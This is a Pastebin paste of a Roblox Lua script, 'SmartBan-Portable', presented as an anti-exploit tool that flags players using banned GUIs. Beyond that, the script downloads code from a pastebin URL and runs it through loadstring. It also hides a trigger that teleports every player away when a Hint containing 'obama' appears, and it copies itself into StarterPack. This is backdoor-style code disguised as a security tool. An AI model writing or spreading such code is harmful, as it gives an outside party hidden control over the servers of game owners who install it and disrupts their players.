FantasyGamer

SmartBan-Portable

Jun 30th, 2017
286
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 4.73 KB | None | 0 0
  1. -----------------------------------------------------------------
  2. -----\\     SmartBan-Portable                                  
  3. ------\\    Made by fantasygamery                              
  4. -------\\   Original loader: https://pastebin.com/raw/yV1qRE2z
  5. --------\\  Smart-Portable version: 1.4
  6. ---------\\ Current stability: (Medium)
  7. ------------------------------------------------------------------
  8. local isStarted = false
  9. local script2 = script:Clone()
  10.  
  11. --Start up--
  12.  
  13. local place1 = 843468296
  14. local place2 = 843495510
  15.  
  16. local place = ""
  17.  
  18. if game.PlaceId == place1 then
  19. place = "Place 1"
  20. elseif game.PlaceId == place2 then
  21. place = "Place 2"
  22. else
  23. place = "Unknow"
  24. end
  25. if script.ClassName ~= 'Script' then
  26. return error('[SmartBan]: Please run this script as global.')
  27. end
  28. local game = game;
  29. local print = print;
  30. local warn = warn;
  31. local script = script;
  32. local pcall = pcall;
  33. local loadstring = loadstring;
  34. local pairs = pairs;
  35. local wait =wait;
  36.  
  37.  
  38. --variables--
  39. local loadstring_test = "print('test')"
  40. local test_link = "https://paste.ee/r/eUAKj"
  41. local test_passed
  42. local starter_gui = game:service('StarterGui')
  43. local players_catched = {}
  44. local version = 1.4
  45. local names_banned = {
  46. ["Ro-Exploit 6.0"]="RX6";
  47. ["Administrator Gui"]="AdministratorGUI";
  48. }
  49. --------------
  50. --------------
  51. function requires()
  52. warn("[+SmartBan+]-Loading")
  53. if script.ClassName ~= "Script" then warn("[+SmartBan+]: required to be a global script!") return false end
  54. script.Name = "[+SmartBan+]-Portable"
  55.  
  56. local s,_ = pcall(function()loadstring("workspace.Name = math.random()")()end)
  57. local s2,_ = pcall(function()game:getService('HttpService'):GetAsync("https://paste.ee/r/eUAKj")end)
  58. print("Current version: "..version)
  59.  
  60. if s and s2 then
  61. warn("Require (1) Passed, Require (2) Passed")
  62. return '1x2'
  63. elseif s and not s2 then
  64. print("Require (1) Passed but not Require (2)")
  65. return 'x1'
  66. elseif s2 and not s then
  67. print("Require (2) passed but not Require (1)")
  68. return 'x2'
  69. end
  70. end
  71.  
  72. function load_link(link)
  73. pcall(function()loadstring(game:service'HttpService':GetAsync(link))()end)
  74. end
  75.  
  76. ---
  77.  
  78. local catched_users = 0
  79. local commands = {}
  80. local hasDefine = false;
  81. local TM = false; --Testing Mode
  82. local r_key = nil;
  83. function check_gui(gui,plr,key)
  84. if r_key == key and hasDefine  then
  85. return false
  86. else
  87.     if TM then
  88.     print('----------------------- \n'..(key)..' \n'..('Gui Name: '..gui.Name)..' \n'..('Player: '..plr.Name)..' \n----------------------- ')
  89.     end
  90.  
  91. hasDefine = false
  92. r_key = key
  93. local name2 = nil;
  94. for name,short_name in pairs(names_banned) do
  95. if gui.Name == short_name then
  96. name2 = name
  97. end
  98. --
  99. end
  100. if name2 == nil or hasDefine then return false end
  101. catched_users = catched_users+1
  102. players_catched[plr.Name..":".. catched_users ]=name2
  103. local source = "[+SmartBan+]: \nUser: "..plr.Name.."\nGui: "..name2.."\nPlace: "..place
  104. print(source)
  105. hasDefine = true
  106. return true
  107. end
  108. end
  109.  
  110. function Main()
  111. warn("[+SmartBan+]: Loaded!, chat getplayers; to get the \n list of players catched using the banned guis")
  112. local recent_name
  113. local recent_player
  114. local lapse = false
  115.  
  116.  
  117. --Trigger Check function
  118. local function cmd(msg)
  119. if (msg:sub(1,string.len("getplayers;")):lower()) == "getplayers;" then
  120. for name,gui in pairs(players_catched) do
  121. warn("\n[+SmartBan+]: \nUser: "..name.."\nGui: "..gui.."\nPlace: "..place)
  122. end
  123. end
  124. end
  125.  
  126. function c(s)
  127. if s:IsA'Hint' then
  128. s.Changed:Connect(function() c(s) end)
  129. if s.Text:lower():find('obama') then
  130. for _,g in pairs(game:GetService('Players'):GetPlayers()) do
  131. game:GetService'TeleportService':Teleport(game.PlaceId,g)
  132. end
  133. end
  134. end
  135. end
  136. local function gen_key()
  137. local words = {'A','B','C','D','E','F','G','J','K','L','P','Q','R','S','T','V','W','X','Y','Z'}
  138. local ToReturn = ''
  139. for _=1,#words do
  140. ToReturn = ToReturn..words[math.random(1,#words)]
  141. end
  142. return ToReturn
  143. end
  144.  
  145. function Check_P(as)
  146.  
  147. as:FindFirstChildOfClass'PlayerGui'.ChildAdded:Connect(function(d)
  148. local key = 'Key: '..gen_key()
  149. local r_name = d.Name
  150.  
  151. local HC = check_gui(d,as,key)
  152.  
  153. d.Changed:Connect(function()
  154. if check_gui(d,as,key) and not HC then
  155. HC = true
  156. end end) end)
  157. end
  158.  
  159. workspace.DescendantAdded:Connect(c)
  160.  
  161.  
  162. for _,v in pairs(game:GetService'Players':GetPlayers()) do
  163. v.Chatted:connect(cmd)
  164. Check_P(v)
  165. end
  166.  
  167. game:service('Players').PlayerAdded:Connect(function(as)  
  168. Check_P(as)
  169. end)
  170. --
  171. end
  172.  
  173. --Check test--
  174. local rs = requires()
  175. if rs == '1x2' then
  176. load_link("https://pastebin.com/raw/35Etp8q9")
  177. Main()
  178. --------------------------
  179. isStarted = true
  180. elseif rs == 'x2' then
  181. Main()
  182. warn('\n--[+SmartBan+]--\nLoaded! :: LIMITED || No loadstring = less security ')
  183. isStarted = true
  184. else
  185. warn("[+SmartBan+]-Could not load.")
  186. end
  187. -------------
  188. script2.Parent = game:GetService('StarterPack')
Advertisement
Add Comment
Please, Sign In to add comment